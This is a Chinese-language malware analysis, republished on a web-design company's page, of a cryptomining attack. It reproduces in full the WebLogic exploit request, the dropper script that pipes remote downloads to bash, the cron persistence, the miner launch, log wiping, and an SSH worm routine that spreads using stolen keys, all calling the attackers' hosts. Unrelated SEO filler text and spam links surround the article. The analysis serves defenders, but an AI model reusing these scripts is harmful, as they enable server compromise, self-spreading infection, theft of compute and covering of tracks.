1. <nobr id="easjo"><address id="easjo"></address></nobr>

      <track id="easjo"><source id="easjo"></source></track>
      1. 
        

      2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
      3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>
          貴州做網站公司
          貴州做網站公司~專業!靠譜!
          10年網站模板開發經驗,熟悉國內外開源網站程序,包括DEDECMS,WordPress,ZBlog,Discuz! 等網站程序,可為您提供網站建設,網站克隆,仿站,網頁設計,網站制作,網站推廣優化等服務。我們專注高端營銷型網站,企業官網,集團官網,自適應網站,手機網站,網絡營銷,網站優化,網站服務器環境搭建以及托管運維等。為客戶提供一站式網站解決方案?。?!

          兇殘的挖礦腳本,奴役我數千機器!

          來源:互聯網轉載 時間:2024-01-29 08:02:02

          本文轉載自不正經程序員

          溫馨提示:本文中出現的命令和腳本,不要在自家服務器上隨便運行,除非你知道自己在做什么。

          挖礦是把機器當作奴隸,一刻不停歇的去計算、運轉,本質上是個無用的工作。但可惜的是,它能賺錢。用別人的機器去賺錢,更是很多人夢寐以求的,所以挖礦腳本屢禁不止。

          有錢的地方,就有技術。但反過來并不一定成立。

          牢記這個準則,就能夠心平氣和的學習新技術,而不是氣急敗壞的糾結為啥沒錢。

          1. 腳本從哪來?

          下面是一個http的報文。

          GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&amp;_pageLabel=HomePage1&amp;handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1Host: 20*.10*.8*.1*9:7001 #已脫敏User-Agent: curl/7.55.1Accept: */*Content-Type:application/x-www-form-urlencoded; charset=utf-8

          很簡單,waf防火墻攔截到相關包,一眼看上去就不正常。從關鍵字com.tangosol.coherence.mvel2.sh.ShellSession可以得知,這個請求,是想要利用Weblogic的遠程代碼執行漏洞。

          這樣的漏洞有很多很多,數不勝數,比如它可以通過redis進入。我們不必關注這些漏洞,默認它已經利用成功了。我們只看挖礦腳本是怎么部署到你的機器上的。

          在java中,當然要調用它的Runtime類庫,如果你的應用程序是運行在root用戶的,那它什么事情都能干。

          這就是為什么要求你線上部署的應用,都用權限低一點的賬戶,比如xjjdog去運行,而不是不要命的把root賬戶給開放。

          exec函數帶了三個參數。

          • /bin/sh 意味著它要執行一個shell腳本
          • -c 指明了要執行的命令
          • export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先輸出了一個全局環境變量,然后下載一個png文件

          狡猾的人都喜歡帶面具,而狡猾的腳本都喜歡改后綴??雌饋硎莻€png,但它是個腳本。

          2. 腳本怎么安裝的?

          接下來摘下它的偽裝,看一下它的真面目。

          curl http://t.bb3u9.com/ln/core.png?logic > core.png 

          查看core.png文件中的內容。不錯,很長一段腳本。

          #/bin/bashsetenforce 0 2>/dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/nullsync && echo 3 >/proc/sys/vm/drop_cachesmurl1="http://t.bb3u9.com/ln/a.asp"murl2="http://t.jdjdcjq.top/ln/a.asp"cdate=$(date "+%Y%m%d")guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"echo "">/var/spool/cron/rootecho "">/var/spool/cron/crontabs/rootif [ "`whoami`" ==  "root" ];then    cronpath=/etc/crontab    Xpath=/.Xl1else    cronpath=/var/spool/cron/`whoami`    Xpath=~/.Xl1fiif [ ! -d "$Xpath" ];then        mkdir $Xpath        echo "$[$RANDOM%60] * * * * root $cmd1" >> $cronpath        echo "$[$RANDOM%60] * * * * root $cmd2" >> $cronpath        uname -a|grep x86_64 && echo "$[$RANDOM%60] * * * * root ps aux|grep p.b69kq.com |grep -v grep || $Xpath -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda" >> /etc/crontab        export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash    export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bashfiecho > /var/spool/mail/rootecho > /var/log/wtmpecho > /var/log/secure

          按照常規,我們來一行行拆解它。

          1)關掉selinux。setenforce 0是關閉的意思,2表示stderr,出錯了不提示。接下來會通過寫配置文件的方式,永久性的禁止selinux。

          setenforce 0 2>/dev/nullecho SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

          2)很良心的幫助清理一下系統內存

          sync && echo 3 >/proc/sys/vm/drop_caches

          3)構造guid,對機器進行標識

          guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`

          dmidecode命令,可以獲取linux硬件相關的信息,會輸出非常多的內容。-t 4表示只獲取Process方面的內容。然后過濾一下ID信息,使用sed命令截取并去掉空格。

          ID: 57 06 05 00 FF FB 8B 0F

          會變成。

          57060500FFFB8B0F

          然后使用ifcongig命令獲取網卡硬件MAC信息。做同樣的處理后獲得另外一個串。這段腳本寫的稍微有點問題,因為ifconfig的輸出經常會改格式,但不影響計算hash。

          sha256sum就是算出這樣一個hash,然后賦值給guid。比如下面這個。

          786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

          4)安裝定時任務到crontab中

          腳本選擇了/.Xl1目錄作為真正的挖礦程序的存儲目錄。注意這三個字母,后面是l和1,并不是X桌面的配置目錄。在真正的腳本部分,我們可以看到下載的程序包地址是d.u78wjdu.com/ln/xr.zip。

          5)我們再來看一下下載的鏈接是什么樣子的

          cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"

          其中,src變量是在一開始就設置的,我們依次來還原一下。

          export src=logiccdate=$(date "+%Y%m%d")guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`gurl=$murl1?${src}_${cdate}

          最終會拼成下面的字符串,可以說該有的信息都有了,能夠區分出到底是哪一臺機器了。

          url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

          3. 真正的腳本是什么?

          $RANDOM環境變量,是個神奇的環境變量。直接輸出的話,將會得到一個隨機值。cron腳本周期性的拉取最新的腳本執行,把真正的挖礦程序部署起來。

          關于真實腳本的介紹,xjjdog在另外一篇文章中有詳細的介紹。在這個場景下,最新的腳本就是http://t.bb3u9.com/ln/a.asp,依然是改后綴的障眼法。

          這個腳本顯然比上面這篇文章介紹的要更加高級一些。腳本很長很長,就不貼了,你可以自己下載。它的主要意圖,是下載一個叫做xr的程序,然后在馬甲目錄.Xl1中運行。xr程序才是挖礦的主要程序,其他的腳本,都是輔助它來運行的。下面是最主要的運行邏輯。

          if [ ! -d "$Xpath" ];then        mkdir $Xpathficd $Xpathif [ ! -f "./xr" ];then        uname -a|grep x86_64 && (curl -fsSL d.u78wjdu.com/ln/xr.zip||wget -q -O- d.u78wjdu.com/ln/xr.zip)>xr.zip && tar xf xr.zip && rm xr.zipfiuname -a|grep x86_64 && ps aux|grep p.b69kq.com |grep -v grep || ./xr -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda

          要保證腳本的安全,怎么能少得了chattr命令。很多人遇見加了i參數的文件,不能被刪除,就傻眼了。其實是可以通過-i參數去掉這個屬性的。

          chattr -iua /tmp/chattr -iua /var/tmp/chattr -R -i /var/spool/cronchattr -i /etc/crontab

          腳本還會通過nc命令,拷貝rsa公鑰到你的每個用戶目錄下面,把你做成事實上的肉雞,實現免密登錄。關于nc這把瑞士軍刀,我們也有過介紹。

          for file in /home/*do    if test -d $file; then        if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then            for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do echo exit |nc -w 1 -n -v $h 65529 && ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & done        fi    fidone

          這份腳本,還會病毒式的傳播。localgo函數,通過從你的ps進程,history文件,還有hosts配置,拿到用戶列表、主機列表端口、rsa密鑰等,就可以批量的去嘗試登錄并傳播這份腳本。當然,上面的xr程序會監聽65529的端口,如果判斷主機已經中招了,就不再繼續探測。

          能用65529這個端口,本身就夠騷氣的了,有幾臺機器能夠達到上限65535呢?

          localgo() {  i=0  for user in $userlist; do    for host in $hostlist; do      for key in $keylist; do        for sshp in $sshports; do          i=$((i+1))          if [ "${i}" -eq "20" ]; then            sleep 20            ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &            i=0          fi          #Wait 20 seconds after every 20 attempts and clean up hanging processes          chmod +r $key          chmod 400 $key          echo "$user@$host $key $sshp"          echo exit |nc -w 1 -n -v $host 65529 &&  ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &"        done      done    done  done}

          最后,腳本還不忘匯報一下,形成完美的閉環。

          reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip}(curl -fsSL $reurl||wget -q -O- $reurl)|bash

          4. End

          如果你發現你的機器不明原因發熱,務必排查一下有沒有挖礦程序。雖然你的服務器擺在那里也沒什么用,但用著你的電費,收益卻給別人,相信你一定會嫉妒的要命。那么別猶豫,kill -9送給它,別忘了清理cron。

          重裝是我們的秘密武器,僅次于重啟。嫌麻煩的話,就這么干吧!

          158466.html

          標簽:挖礦腳本-

          網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...

          在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...

          在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...

          《踏山河》完整版歌詞歌曲踏山河完整版歌詞?踏山河歌詞曲原唱?《踏山河》是由祝何作詞,祝何作曲,由歌手“是七叔呢”演唱的歌曲,收錄于同名專輯《踏山河》,于2020年11月19日發行。歌詞:秋風落日入長河 ,江南煙雨行舟;亂石穿空 ,卷起多少的烽火;萬里山河都踏過 ,天下又入誰手;分分合合 ,不過幾十載春秋;我在 十面埋伏, 四面楚歌的時候;把酒與蒼天對酌,縱然一去不回 此戰又如何;誰見 萬箭齊發 星...

          沈陽的萬象城在哪里?繼深圳、杭州之后,華潤第三個萬象城位于遼寧體育館原址沈陽。作為購物中心行業沈陽萬象城(3張)開業現場的佼佼者,沈陽萬象城建筑面積近25萬平方米。地下一層,地上六層商業,容納各類商鋪200余家,已于2011年5月15日開業。沈陽萬象城匯集了世界各地的經典美食。新成立的品牌包括曼吉甜品、哈根達斯、星巴克等年輕人喜愛的品牌。首次將王品福爾摩沙牛排、食通天美食廣場、泰興餐廳、大余日式鐵...

          網上聊天別人總說sky到底是什么意思?網上?女孩子一開始都很害羞,只要你能感動她,她就會喜歡你的。我建議你在車站見她。女孩們還是喜歡口是心非。她的反應可能還沒有準備好墜入愛河。我不知道她在找什么樣的搭檔sky網絡電話怎么樣?Sky自2012年以來一直是Sky的忠實用戶。然而,15年來,人們的態度已經從期待到失望再到絕望?;ヂ摼W電話過去工作良好,它是第一個提供電力顯示功能。一開始我喜歡?,F在越來越難...

          TOP
          国产初高中生视频在线观看|亚洲一区中文|久久亚洲欧美国产精品|黄色网站入口免费进人
          1. <nobr id="easjo"><address id="easjo"></address></nobr>

              <track id="easjo"><source id="easjo"></source></track>
              1. 
                

              2. <bdo id="easjo"><optgroup id="easjo"></optgroup></bdo>
              3. <track id="easjo"><source id="easjo"><em id="easjo"></em></source></track><option id="easjo"><span id="easjo"><em id="easjo"></em></span></option>